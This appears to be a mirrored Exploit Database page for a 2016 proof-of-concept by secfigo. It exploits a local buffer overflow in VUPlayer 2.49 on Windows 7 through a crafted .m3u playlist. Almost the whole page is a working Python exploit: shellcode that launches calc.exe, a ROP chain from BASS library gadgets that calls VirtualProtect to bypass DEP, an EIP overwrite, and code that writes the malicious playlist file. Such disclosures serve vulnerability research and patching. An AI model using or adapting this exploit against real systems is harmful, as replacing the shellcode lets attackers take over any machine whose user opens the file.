VUPlayer 2.49 (Windows 7) – ‘.m3u’ Local Buffer Overflow (DEP Bypass)

• Exploit Database
• 110 阅读

• 作者： secfigo
  日期： 2016-06-27
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40018/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89

  #!/usr/bin/env python # # Exploit Title: VUPlayer <=2.49 .M3u Buffer overflow exploit with DEP bypass # Date: 26-06-2016 # Exploit Author: secfigo # Vendor Homepage: http://vuplayer.com/ # Software Link: https://www.exploit-db.com/apps/39adeb7fa4711cd1cac8702fb163ded5-vuplayersetup.exe # Version: VUPlayer <=2.49 # Tested on: Windows 7 SP1 DEP=alwayson # Greetz: Raghu, nullSingapore ###################################################################################     import struct   ################################################################################### # Shellcode # windows/exec CMD=calc.exe with size 227 and bad characters "\x00\x09\x0a\x0d\x1a" ###################################################################################   shellcode = ("\xbb\xc7\x16\xe0\xde\xda\xcc\xd9\x74\x24\xf4\x58\x2b\xc9\xb1" "\x33\x83\xc0\x04\x31\x58\x0e\x03\x9f\x18\x02\x2b\xe3\xcd\x4b" "\xd4\x1b\x0e\x2c\x5c\xfe\x3f\x7e\x3a\x8b\x12\x4e\x48\xd9\x9e" "\x25\x1c\xc9\x15\x4b\x89\xfe\x9e\xe6\xef\x31\x1e\xc7\x2f\x9d" "\xdc\x49\xcc\xdf\x30\xaa\xed\x10\x45\xab\x2a\x4c\xa6\xf9\xe3" "\x1b\x15\xee\x80\x59\xa6\x0f\x47\xd6\x96\x77\xe2\x28\x62\xc2" "\xed\x78\xdb\x59\xa5\x60\x57\x05\x16\x91\xb4\x55\x6a\xd8\xb1" "\xae\x18\xdb\x13\xff\xe1\xea\x5b\xac\xdf\xc3\x51\xac\x18\xe3" "\x89\xdb\x52\x10\x37\xdc\xa0\x6b\xe3\x69\x35\xcb\x60\xc9\x9d" "\xea\xa5\x8c\x56\xe0\x02\xda\x31\xe4\x95\x0f\x4a\x10\x1d\xae" "\x9d\x91\x65\x95\x39\xfa\x3e\xb4\x18\xa6\x91\xc9\x7b\x0e\x4d" "\x6c\xf7\xbc\x9a\x16\x5a\xaa\x5d\x9a\xe0\x93\x5e\xa4\xea\xb3" "\x36\x95\x61\x5c\x40\x2a\xa0\x19\xbe\x60\xe9\x0b\x57\x2d\x7b" "\x0e\x3a\xce\x51\x4c\x43\x4d\x50\x2c\xb0\x4d\x11\x29\xfc\xc9" "\xc9\x43\x6d\xbc\xed\xf0\x8e\x95\x8d\x97\x1c\x75\x7c\x32\xa5" "\x1c\x80")   junk = "HTTP://" + "A"*1005         ################################################################################### # rop gadgets with some modifications # bad characters = "\x00\x09\x0a\x0d\x1a" ###################################################################################   def create_rop_chain():   # rop chain generated with mona.py - www.corelan.be rop_gadgets = [ 0x10010157,# POP EBP # RETN [BASS.dll] 0x10010157,# skip 4 bytes [BASS.dll] 0x10015f77,# POP EAX # RETN [BASS.dll] 0xfffffdff,# Value to negate, will become 0x00000201 0x10014db4,# NEG EAX # RETN [BASS.dll] 0x10032f72,# XCHG EAX,EBX # RETN 0x00 [BASS.dll] 0x10015f82,# POP EAX # RETN [BASS.dll] 0xffffffc0,# Value to negate, will become 0x00000040 0x10014db4,# NEG EAX # RETN [BASS.dll] 0x10038a6d,# XCHG EAX,EDX # RETN [BASS.dll] 0x101049ec,# POP ECX # RETN [BASSWMA.dll] 0x101082db,# &Writable location [BASSWMA.dll] 0x1001621c,# POP EDI # RETN [BASS.dll] 0x1001dc05,# RETN (ROP NOP) [BASS.dll] 0x10604154,# POP ESI # RETN [BASSMIDI.dll] 0x10101c02,# JMP [EAX] [BASSWMA.dll] 0x10015fe7,# POP EAX # RETN [BASS.dll] 0x1060e25c,# ptr to &VirtualProtect() [IAT BASSMIDI.dll] 0x1001d7a5,# PUSHAD # RETN [BASS.dll] 0x10022aa7,# ptr to &apos;jmp esp&apos; [BASS.dll] ] return &apos;&apos;.join(struct.pack(&apos;<I&apos;, _) for _ in rop_gadgets)   rop_chain = create_rop_chain()     eip = struct.pack(&apos;<L&apos;,0x10601033) # RETN (BASSMIDI.dll)   nops ="\x90"* 16   buffer = junk + eip + rop_chain + nops+ shellcode+ "C"*(3000-len(junk)-len(eip)-len(rop_chain)-len(nops)-len(shellcode))   print "[+] Creating .m3u file of size "+ str(len(buffer)) file = open(&apos;vuplayer-dep.m3u&apos;,&apos;w&apos;); file.write(buffer); file.close(); print "[+] Done creating the file"